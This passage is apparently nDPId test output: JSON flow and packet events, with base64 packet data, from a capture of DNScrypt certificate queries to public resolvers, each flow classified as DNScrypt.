{"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":286,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":1,"flow_first_seen":946739317403,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":48065,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":120,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":286,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":403417,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcmsUgAL0Roo8KAAABM56mYbvBAbsGBA2TB2EBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAEAAAAAAAAAAAAFvwAMBbsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":286,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":1,"flow_first_seen":946739317403,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":48065,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":287,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":403429,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQmsUAub0Rx2IKAAABM56mYQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":287,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00675{"flow_id":115,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":288,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":428375,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"ZmZmZmZmRERERERECABFAADXKhpAADMRgkAznqZhCgAAAQG7kKsAw\/s4B2KBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAQt4OLzm4x3OBnTPVYOyWbwQ07ZuPzfh5UHeUSDpkuLilk8PnzqIG19XCvUsQGZmTzZ+d2RjpSDvvlP\/+37YoDPjwKVuBVGSevZiWx3QxU\/Ww92uJXMr1\/GUOUVCxbO0A+PApW4FUZJwAAAAFfU6w6X1T9ug=="} +00674{"flow_id":118,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":289,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":429999,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"ZmZmZmZmRERERERECABFAADXKh1AADMRgj0znqZhCgAAAQG73K4Aw683B2CBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAQt4OLzm4x3OBnTPVYOyWbwQ07ZuPzfh5UHeUSDpkuLilk8PnzqIG19XCvUsQGZmTzZ+d2RjpSDvvlP\/+37YoDPjwKVuBVGSevZiWx3QxU\/Ww92uJXMr1\/GUOUVCxbO0A+PApW4FUZJwAAAAFfU6w6X1T9ug=="} +00674{"flow_id":116,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":290,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":431691,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"ZmZmZmZmRERERERECABFAADXKhtAADQRgT8znqZhCgAAAQG7uJkAw9NNB1+BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAQt4OLzm4x3OBnTPVYOyWbwQ07ZuPzfh5UHeUSDpkuLilk8PnzqIG19XCvUsQGZmTzZ+d2RjpSDvvlP\/+37YoDPjwKVuBVGSevZiWx3QxU\/Ww92uJXMr1\/GUOUVCxbO0A+PApW4FUZJwAAAAFfU6w6X1T9ug=="} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":291,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":946739317432,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":41717,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":121,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":291,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":432544,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc141AAL0RhaIKAAABsDjtq6L1AbsCCGC6smcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAG+AAwBugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":291,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":946739317432,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":41717,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00675{"flow_id":117,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":292,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":432560,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"ZmZmZmZmRERERERECABFAADXKhxAADMRgj4znqZhCgAAAQG7s\/IAw9f2B12BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAQt4OLzm4x3OBnTPVYOyWbwQ07ZuPzfh5UHeUSDpkuLilk8PnzqIG19XCvUsQGZmTzZ+d2RjpSDvvlP\/+37YoDPjwKVuBVGSevZiWx3QxU\/Ww92uJXMr1\/GUOUVCxbO0A+PApW4FUZJwAAAAFfU6w6X1T9ug=="} +00674{"flow_id":119,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":293,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":432581,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"ZmZmZmZmRERERERECABFAADXKh5AADMRgjwznqZhCgAAAQG7664Aw6A5B16BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAQt4OLzm4x3OBnTPVYOyWbwQ07ZuPzfh5UHeUSDpkuLilk8PnzqIG19XCvUsQGZmTzZ+d2RjpSDvvlP\/+37YoDPjwKVuBVGSevZiWx3QxU\/Ww92uJXMr1\/GUOUVCxbO0A+PApW4FUZJwAAAAFfU6w6X1T9ug=="} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":294,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":1,"flow_first_seen":946739317432,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":55046,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":122,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":294,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":432603,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc144gAL0RoeEKAAABsDjtq9cGAbsGBFSSsmQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAW6AAwFtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":294,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":1,"flow_first_seen":946739317432,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":55046,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":295,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":432615,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ144Aub0RxrQKAAABsDjtqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":295,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":296,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":946739317432,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":51363,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":123,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":296,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":432619,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc149AAL0RhaAKAAABsDjtq8ijAbsCCGC6smUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAG+AAwBugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":296,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":946739317432,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":51363,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":297,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":946739317432,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":36676,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":124,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":297,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":432660,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc15AgAL0Rod8KAAABsDjtq49EAbsGBJxWsmIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAW6AAwFtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":297,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":946739317432,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":36676,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} 